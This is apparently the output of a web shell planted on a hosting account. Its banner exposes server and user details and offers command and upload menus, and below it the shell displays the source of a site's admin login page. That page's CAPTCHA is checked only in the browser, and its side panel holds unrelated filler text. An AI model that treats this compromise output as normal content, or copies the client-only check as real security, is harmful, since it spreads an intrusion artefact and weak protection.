|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/ettgroups/../sbm/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Admin Login</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<style>
body {
background: linear-gradient(to right, #f8f9fa 50%, #2563eb 50%);
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
}
.container-wrapper {
display: flex;
width: 100%;
height: 100vh;
}
.left-section {
flex: 1;
background-color: #f8f9fa;
display: flex;
justify-content: center;
align-items: center;
padding: 40px;
}
.right-section {
flex: 1;
background-color:#db2124;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
padding: 40px;
color: white;
}
.login-card {
border-radius: 8px;
padding: 40px;
width: 100%;
max-width: 500px;
border: none;
}
.login-title {
font-size: 24px;
font-weight: 600;
text-align: center;
margin-bottom: 32px;
color: #1f2937;
}
.form-group {
margin-bottom: 20px;
}
.form-control {
width: 100%;
padding: 12px 16px;
border: 1px solid #d1d5db;
border-radius: 6px;
font-size: 14px;
background-color: #f3f4f6;
color: #374151;
}
.form-control::placeholder {
color: #6b7280;
}
.form-control:focus {
outline: none;
border-color: #3b82f6;
box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.1);
background-color: white;
}
.captcha-display {
background-color: #f3f4f6;
border: 1px solid #d1d5db;
border-radius: 6px;
padding: 12px;
text-align: center;
font-family: monospace;
font-size: 16px;
font-weight: 600;
letter-spacing: 2px;
margin-bottom: 12px;
color: #374151;
user-select: none;
}
.forgot-password {
text-align: right;
margin-bottom: 24px;
}
.forgot-password a {
color: #3b82f6;
text-decoration: none;
font-size: 14px;
}
.forgot-password a:hover {
text-decoration: underline;
}
.btn-signin {
width: 100%;
background-color: #3b82f6;
color: white;
border: none;
border-radius: 6px;
padding: 12px;
font-size: 16px;
font-weight: 500;
cursor: pointer;
transition: background-color 0.2s;
}
.btn-signin:hover {
background-color: #2563eb;
}
.admin-panel-title {
font-size: 36px;
font-weight: 700;
margin-bottom: 24px;
text-align: center;
}
.admin-panel-description {
font-size: 16px;
line-height: 1.6;
text-align: center;
max-width: 500px;
opacity: 0.9;
}
.highlight {
color: #fbbf24;
font-weight: 600;
}
input:focus,
textarea:focus,
select:focus {
outline: none !important;
}
</style>
</head>
<body>
<div class="container-wrapper">
<!-- Left Section - Login Form -->
<div class="left-section">
<div class="login-card">
<h2 class="login-title">Sign In</h2>
<div class="form-group">
<input type="email" class="form-control" placeholder="Enter Your Email" id="username">
</div>
<div class="form-group">
<input type="password" class="form-control" placeholder="Enter Password" id="password">
</div>
<div class="captcha-display" id="captchaText"></div>
<div class="form-group">
<input type="text" class="form-control" placeholder="captcha" id="captchaInput">
</div>
<button class="btn-signin" id="loginBtn">Sign In</button>
<div class="text-center mt-3" id="msgBox"></div>
</div>
</div>
<!-- Right Section - Admin Panel Info -->
<div class="right-section">
<h1 class="admin-panel-title">Admin Panel</h1>
<p class="admin-panel-description">
In this kind of post, the <span class="highlight">blogger</span> introduces a person they've interviewed and provides some background information about the <span class="highlight">interviewee</span> and their work following this is a transcript of the interview.
</p>
</div>
</div>
<script>
function generateCaptcha() {
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for (let i = 0; i < 8; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
}
let currentCaptcha = generateCaptcha();
$('#captchaText').text(currentCaptcha);
$('#loginBtn').click(function () {
const username = $('#username').val().trim();
const password = $('#password').val().trim();
const captchaInput = $('#captchaInput').val().trim();
if (!username || !password || !captchaInput) {
$('#msgBox').html('<span style="color: #ef4444;">Please fill all fields.</span>');
return;
}
if (captchaInput !== currentCaptcha) {
$('#msgBox').html('<span style="color: #ef4444;">Invalid CAPTCHA. Please try again.</span>');
currentCaptcha = generateCaptcha();
$('#captchaText').text(currentCaptcha);
return;
}
$.ajax({
url: 'admin_login.php',
type: 'POST',
data: {
username: username,
password: password
},
success: function (response) {
if (response.trim() === 'success') {
$('#msgBox').html('<span style="color: #10b981;">Login Success! Redirecting...</span>');
setTimeout(() => {
window.location.href = 'price.php'; // Change as needed
}, 1500);
} else {
$('#msgBox').html('<span style="color: #ef4444;">' + response + '</span>');
currentCaptcha = generateCaptcha();
$('#captchaText').text(currentCaptcha);
}
},
error: function () {
$('#msgBox').html('<span style="color: #ef4444;">Server error. Please try again.</span>');
}
});
});
</script>
</body>
</html>